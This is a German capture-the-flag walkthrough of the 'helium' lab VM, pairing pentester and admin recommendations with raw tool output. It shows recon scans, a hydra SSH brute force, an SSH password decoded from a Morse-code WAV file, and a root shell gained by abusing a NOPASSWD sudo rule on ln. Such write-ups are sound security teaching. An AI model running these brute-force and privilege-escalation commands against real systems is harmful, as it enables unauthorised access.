Analyse: `arp-scan -l` wird verwendet, um aktive Hosts im lokalen Netzwerk zu identifizieren.
Bewertung: Ein Host mit der IP `192.168.2.156` und der MAC-Adresse `08:00:27:2f:0c:59` (VirtualBox) wird gefunden. Dies ist das Ziel.
Empfehlung (Pentester): Führe einen Nmap-Scan auf 192.168.2.156 durch.
Empfehlung (Admin): Netzwerküberwachung und -segmentierung.
Interface: eth0, type: EN10MB, MAC: 00:0c:29:xx:xx:xx, IPv4: 192.168.2.153 Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.2.156 08:00:27:2f:0c:59 PCS Systemtechnik GmbH 3 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.9.7: 256 hosts scanned in 1.854 seconds (138.08 hosts/sec). 1 responded
Analyse: Ein Nmap-Scan wird auf 192.168.2.156 ausgeführt (`-sS -sC -T5 -A -p-`), um offene Ports, Dienste, Versionen und OS-Details zu finden.
Bewertung: Zwei offene Ports werden identifiziert: - **Port 22 (SSH):** OpenSSH 7.9p1 (Debian). Standard-SSH-Dienst. - **Port 80 (HTTP):** Nginx 1.14.2. Der Seitentitel ist "RELAX". Das Betriebssystem wird als Linux erkannt. Das Zielsystem wird als `helium` identifiziert.
Empfehlung (Pentester): Untersuche den Webserver auf Port 80 weiter (Verzeichnisse, Dateien, Quellcode). Suche nach Hinweisen auf Benutzernamen oder Passwörter für SSH.
Empfehlung (Admin): Halte SSH und Nginx aktuell. Sichere beide Dienste (starke Passwörter/Keys, sichere Webserver-Konfiguration).
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-19 22:20:10 CEST Nmap scan report for helium (192.168.2.156) Host is up (0.00014s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 12:f6:55:5f:c6:fa:fb:14:15:ae:4a:2b:38:d8:4a:30 (RSA) | 256 b7:ac:87:6d:c4:f9:e3:9a:d4:6e:e0:4f:da:aa:22:20 (ECDSA) |_ 256 fe:e8:05:af:23:4d:3a:82:2a:64:9b:f7:35:e4:44:4a (ED25519) 80/tcp open http nginx 1.14.2 |_http-title: RELAX |_http-server-header: nginx/1.14.2 MAC Address: 08:00:27:2F:0C:59 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.14 ms helium (192.168.2.156) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.85 seconds
Analyse: `gobuster` wird zur Verzeichnissuche auf dem Webserver (Port 80) eingesetzt.
Bewertung: !!Wichtige Funde!!** Gobuster findet: - `/index.html`: Die Startseite. - `/relax.wav`: Eine WAV-Audiodatei. - `/yay/`: Ein Verzeichnis. Zusätzlich wird eine Notiz erwähnt (wahrscheinlich aus dem Quellcode von `/index.html` oder einer anderen Seite): "Please paul, stop uploading weird .wav files using /upload_sound". Dies gibt **zwei entscheidende Hinweise**: 1. Einen Benutzernamen: `paul`. 2. Einen (vermutlich nicht mehr existierenden oder versteckten) Upload-Pfad: `/upload_sound`. Die Datei `/relax.wav` und der Benutzer `paul` sind die wichtigsten Punkte hier.
Empfehlung (Pentester): Lade die Datei `/relax.wav` herunter und analysiere sie (z.B. auf Steganographie oder versteckte Töne wie Morsecode). Versuche, den Benutzer `paul` über SSH anzugreifen (Passwort-Bruteforce). Untersuche das Verzeichnis `/yay/`.
Empfehlung (Admin): Entferne unnötige Dateien vom Webserver. Hinterlasse keine Hinweise auf Benutzernamen oder interne Pfade in öffentlichen Kommentaren oder Quellcodes.
=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.156 [+] Method: GET [+] Threads: 100 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.1.0 [+] Extensions: ... (gekürzt) ...,wav,... [+] Expanded: true [+] Timeout: 10s =============================================================== 2022/10/19 22:22:00 Starting gobuster =============================================================== http://192.168.2.156/index.html (Status: 200) [Size: 530] http://192.168.2.156/relax.wav (Status: 200) [Size: 250334] http://192.168.2.156/yay (Status: 301) [Size: 185] [--> http://192.168.2.156/yay/] =============================================================== 2022/10/19 22:28:00 Finished ===============================================================
Please paul, stop uploading weird .wav files using /upload_sound
Analyse: `wfuzz` wird verwendet, um nach Subdomains (virtuellen Hosts) zu suchen, indem der `Host`-Header gefuzzt wird (`-H "Host: http://FUZZ.helium.vm"`). Der Hostname `helium.vm` wird verwendet.
Bewertung: !!Fehlgeschlagen/Inkonklusiv!!** Die Ausgabe zeigt keine gefundenen Subdomains. Entweder gibt es keine, oder die verwendete Wortliste war nicht geeignet.
Empfehlung (Pentester): Subdomain-Fuzzing war nicht erfolgreich. Konzentriere dich auf die anderen Funde (Benutzer `paul`, `/relax.wav`, `/yay/`).
Empfehlung (Admin): Konfiguriere den Webserver so, dass er keine Informationen über unbekannte Host-Header preisgibt.
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. warn( ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://helium.vm/ Total requests: 220560 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== Total time: ... Processed Requests: 220560 Filtered Requests: 220560 Requests/sec.: ...
Analyse: Ein SSH-Loginversuch als Benutzer `paul` wird gestartet.
Bewertung: !!Fehlgeschlagen!!** Die Eingabeaufforderung für das Passwort erscheint, aber die nachfolgende Ausgabe "Permission denied" zeigt, dass das (nicht gezeigte) eingegebene Passwort falsch war.
Empfehlung (Pentester): Da der Benutzername `paul` bekannt ist, versuche einen Passwort-Brute-Force-Angriff mit `hydra` oder untersuche die `/relax.wav`-Datei weiter auf Passwort-Hinweise.
Empfehlung (Admin): Implementiere Schutzmaßnahmen gegen SSH-Brute-Force (fail2ban, SSH-Keys).
The authenticity of host 'helium.vm (192.168.2.156)' can't be established. ED25519 key fingerprint is SHA256:y4b6laUdkY6jY95p0UousHuja503C9EIqNNrMD5hoqA. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'helium.vm' (ED25519) to the list of known hosts. paul@helium.vm's password: Permission denied, please try again. paul@helium.vm's password: Permission denied, please try again. paul@helium.vm's password:
Analyse: `hydra` wird für einen SSH-Passwort-Brute-Force-Angriff gegen den Benutzer `paul` auf `helium.vm` (Port 22) gestartet. Die Wortliste `rockyou.txt` wird verwendet.
Bewertung: !!Läuft/Inkonklusiv!!** Die Ausgabe zeigt, dass Hydra gestartet wurde, aber noch läuft (`active`). Es wurde noch kein gültiges Passwort gefunden. Solche Angriffe können sehr lange dauern.
Empfehlung (Pentester): Lasse Hydra im Hintergrund laufen, aber suche parallel nach effizienteren Wegen. Untersuche die `/relax.wav`-Datei und das `/yay/`-Verzeichnis gründlicher.
Empfehlung (Admin): Schutz gegen Brute-Force ist wichtig.
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-10-19 22:45:01 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task [DATA] attacking ssh://helium.vm:22/ [STATUS] 444.00 tries/min, 444 tries in 00:01h, 14343984 to do in 538:27h, 35 active [STATUS] 243.00 tries/min, 729 tries in 00:03h, 14343706 to do in 983:48h, 28 active [STATUS] ... (läuft) ...
Analyse: `dirsearch` (ein weiteres Verzeichnis-Scanning-Tool) wird verwendet, um den Webserver zu scannen. Es verwendet eine andere Standard-Wortliste (`dirb/common.txt`) und diverse Erweiterungen.
Bewertung: Findet nur `/index.html`. Bestätigt die `gobuster`-Ergebnisse, liefert aber keine neuen Pfade.
Empfehlung (Pentester): Konzentriere dich auf `/relax.wav` und `/yay/`.
Empfehlung (Admin): Keine Aktion.
_|. _ _ _ _ _ _|_ v0.4.2 (_||| _) (/_(_|| (_| ) Extensions: git, php, html, xml, zip, 7z, tar, bak, sql, py, pl, txt, jpg, jpeg, png, js, aac, ogg, flac, alac, wav, aiff, dsd, mp3, mp4, mkv | HTTP method: GET | Threads: 25 | Wordlist size: 4613 Error Log: /root/.dirsearch/logs/errors-221019-225218.log Target: http://192.168.2.156/ [22:52:19] Starting: [22:52:23] 200 - 530B - /index.html Task Completed
Analyse: `nikto` wird erneut ausgeführt, um den Webserver auf Schwachstellen zu prüfen.
Bewertung: Die Ergebnisse sind identisch mit dem vorherigen Scan (Nginx, fehlende Security-Header). Keine neuen Erkenntnisse.
Empfehlung (Pentester): Keine neuen Angriffspunkte durch Nikto. Fokussiere dich auf die WAV-Datei und das `/yay/`-Verzeichnis.
Empfehlung (Admin): Setze die fehlenden Security-Header.
- Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.2.156 + Target Hostname: 192.168.2.156 + Target Port: 80 + Start Time: 2022-10-19 22:24:46 (GMT2) --------------------------------------------------------------------------- + Server: nginx/1.14.2 + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + No CGI Directories found (use '-C all' to force check all possible dirs) + 7915 requests: 0 error(s) and 3 item(s) reported on remote host + End Time: 2022-10-19 22:25:31 (GMT2) (45 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Hier werden Pfade und URLs notiert, die vermutlich durch die Untersuchung des Webserver-Quellcodes (z.B. `index.html` oder CSS-Dateien) oder durch das Browsen im `/yay/`-Verzeichnis gefunden wurden. Insbesondere wird `/yay/mysecretsound.wav` entdeckt.
Bewertung: !!Wichtiger Fund!!** Neben der bereits bekannten `/relax.wav` gibt es eine weitere Audiodatei `/yay/mysecretsound.wav`. Diese ist wahrscheinlich der Schlüssel.
Empfehlung (Pentester): Lade die Datei `http://192.168.2.156/yay/mysecretsound.wav` herunter. Analysiere sie mit einem Audio-Tool (z.B. Audacity) auf versteckte Informationen oder verwende einen Online-Morsecode-Decoder, da dies eine häufige Methode in CTFs ist.
Empfehlung (Admin): Entferne unnötige oder versteckte Dateien vom Webserver.
http://192.168.2.156/bootstrap.min.css /yay/mysecretsound.wav http://192.168.2.156/yay/mysecretsound.wav
Analyse: Die Audiodatei `mysecretsound.wav` wurde heruntergeladen und mit einem Online-Morsecode-Decoder analysiert.
Bewertung: !!Passwort gefunden!!** Der dekodierte Morsecode ergibt das Wort `dancingpassyo`. Dies ist sehr wahrscheinlich das SSH-Passwort für den Benutzer `paul`.
Empfehlung (Pentester): Versuche sofort, dich mit `ssh paul@helium.vm` und dem Passwort `dancingpassyo` anzumelden.
Empfehlung (Admin): Verwende keine Passwörter, die leicht aus öffentlich zugänglichen Informationen (auch wenn sie kodiert sind) abgeleitet werden können.
https://morsecode.world/international/decoder/audio-decoder-adaptive.html
dancingpassyo
Analyse: Ein erneuter SSH-Loginversuch als `paul` wird gestartet. Dieses Mal wird das aus dem Morsecode dekodierte Passwort `dancingpassyo` eingegeben.
Bewertung: !!Initial Access erfolgreich!!** Der SSH-Login gelingt. Der Angreifer hat nun eine Shell als Benutzer `paul` auf dem Zielsystem.
Empfehlung (Pentester): Beginne mit der Enumeration als `paul`. Suche die User-Flag und prüfe die `sudo`-Rechte.
Empfehlung (Admin): Ändere das kompromittierte Passwort für `paul`.
paul@helium.vm's password: dancingpassyo
Linux helium 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc//copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Nov 22 14:31:51 2020 from 192.168.1.58
paul@helium:~$
Analyse: Als `paul` wird das Home-Verzeichnis mit `ls -la` aufgelistet und der Inhalt von `user.txt` mit `cat` angezeigt.
Bewertung: Die Datei `user.txt` wird gefunden und enthält die User-Flag `ilovetoberelaxed`.
Empfehlung (Pentester): User-Flag notiert. Prüfe nun die `sudo`-Rechte mit `sudo -l`.
Empfehlung (Admin): Keine Aktion bezüglich der Flag.
paul@helium:~$ ls -la total 32 drwxr-xr-x 3 paul paul 4096 Nov 22 2020 . drwxr-xr-x 3 root root 4096 Nov 22 2020 .. -rw-r--r-- 1 paul paul 220 Nov 22 2020 .bash_logout -rw-r--r-- 1 paul paul 3526 Nov 22 2020 .bashrc drwxr-xr-x 3 paul paul 4096 Nov 22 2020 .local -rw-r--r-- 1 paul paul 807 Nov 22 2020 .profile -rw------- 1 paul paul 17 Nov 22 2020 user.txt -rw------- 1 paul paul 52 Nov 22 2020 .Xauthority paul@helium:~$ cat user.txt ilovetoberelaxed
Analyse: Der Befehl `sudo -l` wird ausgeführt, um die `sudo`-Berechtigungen für `paul` zu prüfen.
Bewertung: !!Privilege Escalation Vektor gefunden!!** Der Benutzer `paul` darf den Befehl `/usr/bin/ln` (zum Erstellen von Links) als jeder Benutzer (`ALL : ALL`) ohne Passwort (`NOPASSWD:`) ausführen. Dies ist eine bekannte Methode zur Privilegieneskalation, da man `ln` missbrauchen kann, um Systemdateien zu überschreiben oder zu manipulieren.
Empfehlung (Pentester): Nutze die `sudo`-Berechtigung für `ln` zur Eskalation. Suche auf GTFOBins nach der Methode für `ln` mit `sudo`. Ein gängiger Weg ist, einen symbolischen Link von `/bin/ln` auf `/bin/sh` zu erstellen (`sudo ln -fs /bin/sh /bin/ln`) und dann `sudo ln` auszuführen, was nun effektiv `sudo /bin/sh` startet.
Empfehlung (Admin):**DRINGEND:** Entferne diese unsichere `sudo`-Regel. Gewähre niemals `sudo`-Rechte für Befehle, die zum Manipulieren von Dateiverknüpfungen oder zum Überschreiben von Dateien verwendet werden können (wie `ln`, `cp`, `mv`, Editoren etc.), insbesondere nicht mit `NOPASSWD`.
paul@helium:~$ sudo -l
Matching Defaults entries for paul on helium:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User paul may run the following commands on helium:
(ALL : ALL) NOPASSWD: /usr/bin/ln
Analyse: `ls /home` wird ausgeführt.
Bewertung: Bestätigt, dass `paul` der einzige Benutzer mit einem Home-Verzeichnis unter `/home` ist. Dies ist für die Eskalation nicht direkt relevant.
Empfehlung (Pentester): Konzentriere dich auf die Ausnutzung der `sudo ln`-Berechtigung.
Empfehlung (Admin): Keine Aktion.
paul@helium:~$ ls /home
paul
Analyse: Der Exploit für die `sudo ln`-Berechtigung wird durchgeführt: 1. `sudo ln -fs /bin/sh /bin/ln`: Dieser Befehl erstellt mit `sudo` (also als Root) einen symbolischen Link (`-s`) und erzwingt das Überschreiben (`-f`), falls der Link bereits existiert. Er verlinkt das Ziel `/bin/sh` (die Shell) auf den Link-Namen `/bin/ln`. Das bedeutet, wenn nun `/bin/ln` aufgerufen wird, wird stattdessen `/bin/sh` ausgeführt. 2. `sudo ln`: Dieser Befehl führt nun, da `/bin/ln` auf `/bin/sh` zeigt, effektiv `sudo /bin/sh` aus.
Bewertung: !!Privilegieneskalation erfolgreich!!** Der Trick funktioniert wie erwartet. Der Aufruf von `sudo ln` startet eine Shell. Der Prompt wechselt zu `#`, und der `id`-Befehl bestätigt `uid=0(root)`. Der Angreifer hat Root-Rechte erlangt.
Empfehlung (Pentester): Das Ziel ist erreicht. Suche nach der Root-Flag (`/root/root.txt`).
Empfehlung (Admin):**DRINGEND:** Entferne die `sudo`-Regel für `ln`. Überprüfe alle `sudo`-Regeln auf ähnliche Schwachstellen.
paul@helium:~$ sudo ln -fs /bin/sh /bin/ln paul@helium:~$ sudo ln # id uid=0(root) gid=0(root) groups=0(root) # pwd /home/paul # cd # pwd /root # ls root.txt #
Analyse: Als Root wird der Inhalt der Datei `/root/root.txt` mit `cat` angezeigt.
Bewertung: Die Root-Flag `ilovetoberoot` wird erfolgreich gelesen.
Empfehlung (Pentester): Beide Flags wurden gefunden, der Bericht kann abgeschlossen werden.
Empfehlung (Admin): Keine Aktion bezüglich der Flag.
# cat root.txt ilovetoberoot